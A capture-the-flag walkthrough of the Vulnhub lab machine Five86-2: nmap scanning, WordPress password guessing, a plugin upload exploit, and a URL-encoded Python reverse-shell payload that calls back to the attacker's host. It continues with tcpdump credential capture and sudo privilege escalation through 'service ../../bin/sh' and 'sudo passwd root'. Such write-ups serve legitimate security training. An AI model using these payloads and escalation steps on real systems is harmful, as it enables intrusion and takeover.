Five86 : 2

Machine	Details
Vulnhub	https://www.vulnhub.com/entry/five86-2,418/
Level	beginner
Creator	@m0tl3ycr3w and @syed__umar

Lets find the IP address first of the victim machine ➡️

IP : 10.0.2.43

Port Scan Results ⤵️

┌──(kali㉿kali)-[~/Downloads/Proving_Ground/Five86.2]
└─$ sudo nmap -sC -sV -p- -T4 -oN Nmap_results.txt 10.0.2.43
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-03 11:36 IST
Nmap scan report for 10.0.2.43
Host is up (0.0020s latency).
Not shown: 65532 filtered tcp ports (no-response)
PORT   STATE  SERVICE  VERSION
20/tcp closed ftp-data
21/tcp open   ftp      ProFTPD 1.3.5e
80/tcp open   http     Apache httpd 2.4.41 ((Ubuntu))
|_http-generator: WordPress 5.1.4
|_http-title: Five86-2 – Just another WordPress site
|_http-server-header: Apache/2.4.41 (Ubuntu)
MAC Address: 08:00:27:19:F4:DF (Oracle VirtualBox virtual NIC)
Service Info: OS: Unix

Web Enumeration ⤵️

Lets set the /etc/hosts file as five86-2.

Now lets run wpscan ➡️

got 3 users → admin , barney , stephen

Lets find the passwords also through wpscan ⤵️

barney : spooky1
stephen : apollo1

Lets login with barney credentials →

Now in plugin section I found a vulnerable service lets enable it for uploading our payload ⤵️

Now through web I got an exploit poc for exploiting this service →

So lets follow this path ⬆️

Now lets upload our payload →

Now After Inserting I got the path so lets load the url ⤵️

As I got the command Injection so lets have a reverse shell.

http://five86-2/wp-content/uploads/articulate_uploads/poc/index.php?cmd=python3%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%2210.0.2.42%22,4444));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call([%22/bin/sh%22,%22-i%22]);%27

Now lets dig into the shell →

www-data@five86-2:/home$ ls -al
ls -al
total 40
drwxr-xr-x 10 root    root    4096 Jan  9  2020 .
drwxr-xr-x 20 root    root    4096 Jan  8  2020 ..
drwx------  2 barney  barney  4096 Jan 13  2020 barney
drwx------  2 george  george  4096 Jan 13  2020 george
drwx------  2 gillian gillian 4096 Jan 13  2020 gillian
drwx------  2 john    john    4096 Jan 13  2020 john
drwx------  3 paul    paul    4096 Jan 13  2020 paul
drwx------  4 peter   peter   4096 Jan 13  2020 peter
drwx------  2 richard richard 4096 Jan 13  2020 richard
drwx------  2 stephen stephen 4096 Jan 13  2020 stephen
www-data@five86-2:

Now I got 8 users →

barney:x:1001:1001:Barney Sumner:/home/barney:/bin/bash
stephen:x:1002:1002:Stephen Morris:/home/stephen:/bin/bash
peter:x:1003:1003:Peter Hook:/home/peter:/bin/bash
gillian:x:1004:1004:Gillian Gilbert:/home/gillian:/bin/bash
richard:x:1005:1005:Richard Starkey:/home/richard:/bin/bash
paul:x:1006:1006:Paul McCartney:/home/paul:/bin/bash
john:x:1007:1007:John Lennon:/home/john:/bin/bash
george:x:1008:1008:George Harrison:/home/george:/bin/bash

Lets use the same wpscan passwords for switching to another users →

stephen@five86-2:/$ id
uid=1002(stephen) gid=1002(stephen) groups=1002(stephen),1009(pcap)

Now lets look for the capability files ➡️

So I have tcpdump Lets look for the services/files/ethernet Interface it is running to →

Now lets run the tcpdump at this ⬆️veth8d3c874 interface and capture some traffic into cap.pcap file →

Now I got a credential for paul →

paul : esomepasswford

lets switch user and recon further →

paul@five86-2:~$ sudo -l
Matching Defaults entries for paul on five86-2:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User paul may run the following commands on five86-2:
    (peter) NOPASSWD: /usr/sbin/service

Now call the /bin/sh service for peter to get the peter shell ➡️

paul@five86-2:~$ sudo -u peter service ../../bin/sh
$ whoami
peter
$ id
uid=1003(peter) gid=1003(peter) groups=1003(peter),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),115(lxd),1010(ncgroup)
$ sudo -l
Matching Defaults entries for peter on five86-2:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User peter may run the following commands on five86-2:
    (ALL : ALL) ALL
    (root) NOPASSWD: /usr/bin/passwd 
$ sudo passwd root
New password: 
Retype new password: 
passwd: password updated successfully
$ su root
Password: 
root@five86-2:/# whoami
root
root@five86-2:/# id
uid=0(root) gid=0(root) groups=0(root)
root@five86-2:/# ls -al /root
total 48
drwx------  5 root root 4096 Jan 13  2020 .
drwxr-xr-x 20 root root 4096 Jan  8  2020 ..
-rw-------  1 root root 1798 Jan 13  2020 .bash_history
-rw-r--r--  1 root root 3106 Aug 27  2019 .bashrc
drwxr-xr-x  3 root root 4096 Jan  9  2020 .local
-rw-r--r--  1 root root  148 Aug 27  2019 .profile
drwxr-xr-x  3 root root 4096 Jan  8  2020 snap
drwx------  2 root root 4096 Jan  8  2020 .ssh
-rwx------  1 root root  995 Jan  9  2020 thisistheflag.txt
-rw-------  1 root root 8853 Jan 13  2020 .viminfo

thisistheflag.txt file ⤵️

root@five86-2:/# cat /root/thisistheflag.txt

__   __            _                           _                                 _ _ _ _ _ 
\ \ / /           | |                         | |                               | | | | | |
 \ V /___  _   _  | |__   __ ___   _____    __| | ___  _ __   ___  __      _____| | | | | |
  \ // _ \| | | | | '_ \ / _` \ \ / / _ \  / _` |/ _ \| '_ \ / _ \ \ \ /\ / / _ \ | | | | |
  | | (_) | |_| | | | | | (_| |\ V /  __/ | (_| | (_) | | | |  __/  \ V  V /  __/ | |_|_|_|
  \_/\___/ \__,_| |_| |_|\__,_| \_/ \___|  \__,_|\___/|_| |_|\___|   \_/\_/ \___|_|_(_|_|_)
                                                                                           
                                                                                           
Congratulations - hope you enjoyed Five86-2.

If you have any feedback, please let me know at @Five86_x

I also want to send out a big thanks to all those who help me with beta testing
of the various challenges:  @m0tl3ycr3w and @syed__umar in particular

root@five86-2:/#

If you have any questions or suggestions, please leave a comment below. Thank You !